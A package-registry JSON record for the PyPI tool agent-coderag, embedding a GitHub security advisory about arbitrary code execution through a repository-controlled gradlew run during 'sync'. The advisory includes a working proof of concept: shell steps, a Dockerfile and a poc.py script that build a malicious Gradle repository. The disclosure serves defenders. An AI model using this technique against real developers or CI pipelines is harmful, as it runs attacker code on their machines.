{"id":14262892,"name":"agent-coderag","ecosystem":"pypi","description":"Lightweight semantic code search and distillation utility for AI coding agents. It solves the API knowledge gap via real-time local signature extraction and intent analysis without PyTorch. Optimized for token efficiency, it compresses codebase context into compact semantic summaries stored in a local DuckDB vector similarity index.","homepage":"https://github.com/naranor/agent-coderag","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/naranor/agent-coderag","keywords_array":["rag","ai-agents","semantic-search","code-analysis","context-compression","onnx","local-embeddings"],"namespace":null,"versions_count":5,"first_release_published_at":"2026-04-14T17:20:53.000Z","latest_release_published_at":"2026-06-18T13:35:34.000Z","latest_release_number":"1.3.1","last_synced_at":"2026-06-19T16:12:29.264Z","created_at":"2026-04-16T09:30:21.226Z","updated_at":"2026-06-20T00:11:45.065Z","registry_url":"https://pypi.org/project/agent-coderag/","install_command":"pip install agent-coderag --index-url https://pypi.org/simple","documentation_url":"https://agent-coderag.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["Development Status :: 4 - Beta","Intended Audience :: Developers","License :: OSI Approved :: MIT License","Programming Language :: Python :: 3","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Topic :: Software Development :: Libraries :: Python Modules","Topic :: Text Processing :: Indexing"],"normalized_name":"agent-coderag","project_status":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-06-01T16:32:08.672Z","dependent_packages_count":0,"downloads":481,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":26.56975129432822,"dependent_repos_count":41.86217095814709,"dependent_packages_count":7.401943213352292,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":25.277955155275865},"purl":"pkg:pypi/agent-coderag","advisories":[{"uuid":"GSA_kwCzR0hTQS13ZzVwLThoOXAtM21yN84ABZJQ","url":"https://github.com/advisories/GHSA-wg5p-8h9p-3mr7","title":"agent-coderag: Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution","description":"## Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution\n\n### Summary\n\n`agent-coderag` unconditionally executes a repository-controlled `gradlew` script during its default `sync` dependency-discovery flow. An attacker who can induce a victim to index a malicious Gradle repository (one containing `build.gradle` and a crafted `gradlew`) achieves arbitrary code execution with the victim's OS privileges. No authentication, no extra flags, and no elevated permissions are required; the attack fires on the default `agent-coderag sync \u003cpath\u003e` invocation.\n\n### Details\n\nThe vulnerability exists across a four-step call chain in the `sync` command:\n\n**1. Entry point — `code_rag/entry/cli.py:70`**\n\n```python\nawait manager.sync_dependencies(args.path or \".\")\n```\n\n`sync_dependencies()` is called unconditionally before indexing. There is no opt-in flag; any `agent-coderag sync` invocation triggers dependency discovery.\n\n**2. Gradle project detection — `code_rag/core/manager.py:40-47`**\n\nThe presence of a `build.gradle` or `build.gradle.kts` file in the target directory is sufficient to invoke `_sync_gradle()`. No additional checks are performed.\n\n**3. Wrapper selection — `code_rag/core/manager.py:110-113`**\n\n```python\ngradle_wrapper = root / (\"gradlew.bat\" if os.name == \"nt\" else \"gradlew\")\ngradle_bin: Optional[str] = None\nif gradle_wrapper.exists():\n    gradle_bin = str(gradle_wrapper.resolve())\nelse:\n    gradle_bin = shutil.which(\"gradle\")\n```\n\nWhen a repository-local `gradlew` exists, it is unconditionally preferred over the system-installed `gradle`. No content validation, signature check, or integrity verification is performed on this file.\n\n**4. Execution sink — `code_rag/core/manager.py:152-158`**\n\n```python\nprocess = await asyncio.create_subprocess_exec(\n    gradle_bin,\n    \"-q\",\n    \"--init-script\",\n    str(init_script),\n    \"printCodeRagCP\",\n    cwd=str(root),\n    ...\n)\n```\n\nThe attacker-controlled `gradlew` is executed directly via `asyncio.create_subprocess_exec()` with the repository root as the working directory. `validate_path` (`code_rag/core/utils.py:7-71`) only constrains the path location (directory boundary), not the content or nature of the executed binary.\n\nThe complete data flow: `cli.py:277` (path input) → `cli.py:313-314` (`sync_cmd`) → `cli.py:62` (`validate_path`) → `cli.py:70` (`sync_dependencies`) → `manager.py:40-47` (`_sync_gradle`) → `manager.py:110-113` (wrapper selection) → `manager.py:152-158` (execution sink).\n\n### PoC\n\n**Environment setup:**\n\n```bash\npython3 -m venv /tmp/acr-venv\n. /tmp/acr-venv/bin/activate\npip install agent-coderag==1.3.0\n\nrm -rf /tmp/acr-evil /tmp/acr.db /tmp/agent-coderag-poc-marker\nmkdir -p /tmp/acr-evil\n```\n\n**Build the malicious repository:**\n\n```bash\n# Trigger _sync_gradle() detection\nprintf 'plugins { id \"java\" }\\n' \u003e /tmp/acr-evil/build.gradle\n\n# Malicious gradlew: writes proof-of-exploitation marker and exits cleanly\nprintf '#!/bin/sh\\nprintf CODERAG_RCE_SUCCESS \u003e /tmp/agent-coderag-poc-marker\\nexit 0\\n' \\\n    \u003e /tmp/acr-evil/gradlew\nchmod +x /tmp/acr-evil/gradlew\n```\n\n**Trigger the vulnerability (victim action):**\n\n```bash\nagent-coderag --db /tmp/acr.db sync /tmp/acr-evil\n```\n\n**Verify exploitation:**\n\n```bash\ncat /tmp/agent-coderag-poc-marker\n# Expected output: CODERAG_RCE_SUCCESS\n```\n\n**Docker-based reproduction (as confirmed in Phase 2):**\n\n```bash\n# Build image from repository root\ndocker build -t agent-coderag-vuln001 -f vuln-001/Dockerfile .\n\n# Run PoC — exits 0 on successful exploitation\ndocker run --rm agent-coderag-vuln001\n```\n\nPhase 2 dynamic reproduction confirmed the following output:\n\n```\n[*] Evil repo created at /tmp/acr-evil-i560afcg\n    build.gradle : 22 bytes\n    gradlew      : 275 bytes  (executable=True)\n[*] Running: agent-coderag --db /tmp/acr-poc.db sync /tmp/acr-evil-i560afcg\n[*] agent-coderag exit code : 0\n[PASS] Exploit confirmed.\n       Marker file : /tmp/acr-poc-marker\n       Contents    : 'CODERAG_RCE_SUCCESS'\n       The malicious gradlew was executed by agent-coderag during sync.\n```\n\n### Impact\n\nThis is an **Arbitrary Code Execution (ACE)** vulnerability triggered by a local attack vector. Any user who runs `agent-coderag sync` against an attacker-controlled directory is affected. The attack requires no authentication and no special privileges beyond the ability to supply a path argument.\n\nTypical impacted scenarios include:\n\n- A developer cloning an untrusted repository and running `agent-coderag sync` to index it for AI-assisted code analysis.\n- A CI/CD pipeline that automatically indexes pull-request branches containing a crafted `gradlew`.\n- Any tooling or script that passes arbitrary paths to `agent-coderag sync` without user oversight.\n\nBecause the vulnerable component (`agent-coderag`) is a code-indexing tool intended to *read* repositories, victims have no expectation that indexing will *execute* files within the repository. This trust-boundary violation (reflected in the CVSS `S:C` — Changed Scope) means the impact extends beyond the tool itself to the victim's entire user session environment: confidentiality (credential theft, secret exfiltration), integrity (file modification, persistence installation), and availability (process termination, disk exhaustion) are all fully compromised.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nLABEL description=\"VULN-001 PoC: agent-coderag gradlew RCE reproduction\"\n\nWORKDIR /app\n\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Install agent-coderag from local repo source (pinned to vulnerable commit)\nCOPY repo/ /app/repo/\nRUN pip install --no-cache-dir /app/repo/\n\n# Copy PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC for VULN-001: agent-coderag Gradle Wrapper Execution → Arbitrary Code Execution\n\nVulnerability:\n    agent-coderag `sync` command calls sync_dependencies() unconditionally.\n    When the target directory contains a build.gradle file, _sync_gradle() is triggered.\n    _sync_gradle() prefers a repository-local ./gradlew over the system gradle binary.\n    The repository-controlled gradlew is executed via asyncio.create_subprocess_exec()\n    without any content validation, enabling arbitrary code execution.\n\nData flow (source → sink):\n    cli.py:70  → manager.sync_dependencies()\n    manager.py:46 → _sync_gradle()\n    manager.py:112-113 → gradle_bin = str(gradle_wrapper.resolve())  [untrusted file]\n    manager.py:152-158 → asyncio.create_subprocess_exec(gradle_bin, ...)  [sink]\n\nExpected outcome:\n    The malicious gradlew writes a marker to /tmp/acr-poc-marker.\n    If that file contains \"CODERAG_RCE_SUCCESS\", the exploit is confirmed.\n\"\"\"\n\nimport asyncio\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_PATH = \"/tmp/acr-poc-marker\"\nDB_PATH = \"/tmp/acr-poc.db\"\n\nMALICIOUS_GRADLEW = \"\"\"\\\n#!/bin/sh\n# Malicious gradlew: writes a proof-of-exploitation marker and simulates\n# enough Gradle output for agent-coderag to continue without error.\nprintf 'CODERAG_RCE_SUCCESS' \u003e /tmp/acr-poc-marker\n# Output a fake empty classpath so the tool does not log an error\nexit 0\n\"\"\"\n\nBUILD_GRADLE = \"plugins { id 'java' }\\n\"\n\n\ndef setup_evil_repo(directory: str) -\u003e None:\n    \"\"\"Create a minimal attacker-controlled Gradle repository.\"\"\"\n    repo_path = Path(directory)\n    repo_path.mkdir(parents=True, exist_ok=True)\n\n    # build.gradle triggers _sync_gradle() in manager.py:46\n    (repo_path / \"build.gradle\").write_text(BUILD_GRADLE)\n\n    # gradlew will be executed by manager.py:152 instead of system gradle\n    gradlew = repo_path / \"gradlew\"\n    gradlew.write_text(MALICIOUS_GRADLEW)\n    gradlew.chmod(gradlew.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)\n\n    print(f\"[*] Evil repo created at {directory}\")\n    print(f\"    build.gradle : {(repo_path / 'build.gradle').stat().st_size} bytes\")\n    print(f\"    gradlew      : {gradlew.stat().st_size} bytes  (executable={os.access(gradlew, os.X_OK)})\")\n\n\ndef run_agent_coderag(evil_repo: str) -\u003e subprocess.CompletedProcess:\n    \"\"\"Invoke agent-coderag sync against the malicious repository.\"\"\"\n    cmd = [\"agent-coderag\", \"--db\", DB_PATH, \"sync\", evil_repo]\n    print(f\"[*] Running: {' '.join(cmd)}\")\n    result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)\n    return result\n\n\ndef check_marker() -\u003e str | None:\n    \"\"\"Return the marker content if it was written by the malicious gradlew.\"\"\"\n    try:\n        return Path(MARKER_PATH).read_text()\n    except FileNotFoundError:\n        return None\n\n\ndef main() -\u003e int:\n    # Clean up any leftovers from a previous run\n    for path in (MARKER_PATH, DB_PATH):\n        if os.path.exists(path):\n            os.remove(path)\n\n    evil_repo = tempfile.mkdtemp(prefix=\"acr-evil-\")\n    try:\n        # Step 1 — build the attacker-controlled repository\n        setup_evil_repo(evil_repo)\n\n        # Step 2 — invoke agent-coderag (victim action: indexing an untrusted repo)\n        result = run_agent_coderag(evil_repo)\n        print(f\"[*] agent-coderag exit code : {result.returncode}\")\n        if result.stdout:\n            print(f\"[*] stdout:\\n{result.stdout.rstrip()}\")\n        if result.stderr:\n            print(f\"[*] stderr:\\n{result.stderr.rstrip()}\")\n\n        # Step 3 — verify the marker was written by the malicious gradlew\n        marker_content = check_marker()\n        if marker_content and \"CODERAG_RCE_SUCCESS\" in marker_content:\n            print(\"\\n[PASS] Exploit confirmed.\")\n            print(f\"       Marker file : {MARKER_PATH}\")\n            print(f\"       Contents    : {marker_content!r}\")\n            print(\"       The malicious gradlew was executed by agent-coderag during sync.\")\n            return 0\n        else:\n            print(\"\\n[FAIL] Marker file not found or does not contain the expected string.\")\n            print(f\"       Expected : 'CODERAG_RCE_SUCCESS'\")\n            print(f\"       Got      : {marker_content!r}\")\n            return 1\n    finally:\n        shutil.rmtree(evil_repo, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-19T15:01:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/naranor/agent-coderag/security/advisories/GHSA-wg5p-8h9p-3mr7","https://github.com/advisories/GHSA-wg5p-8h9p-3mr7"],"source_kind":"github","identifiers":["GHSA-wg5p-8h9p-3mr7"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-19T16:00:08.358Z","updated_at":"2026-06-19T23:00:10.971Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZzVwLThoOXAtM21yN84ABZJQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13ZzVwLThoOXAtM21yN84ABZJQ","packages":[{"ecosystem":"pypi","package_name":"agent-coderag","versions":[{"first_patched_version":"1.3.1","vulnerable_version_range":"\u003c= 1.3.0"}],"purl":"pkg:pypi/agent-coderag"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZzVwLThoOXAtM21yN84ABZJQ/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/agent-coderag","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pypi/agent-coderag","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/agent-coderag/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/agent-coderag/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/agent-coderag/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/agent-coderag/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/agent-coderag/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/agent-coderag/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/agent-coderag/codemeta","maintainers":[{"uuid":"naranor","login":"naranor","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://pypi.org/user/naranor/","role":"Owner","created_at":"2026-04-16T10:27:23.116Z","updated_at":"2026-04-16T10:27:23.116Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/naranor/packages"}]}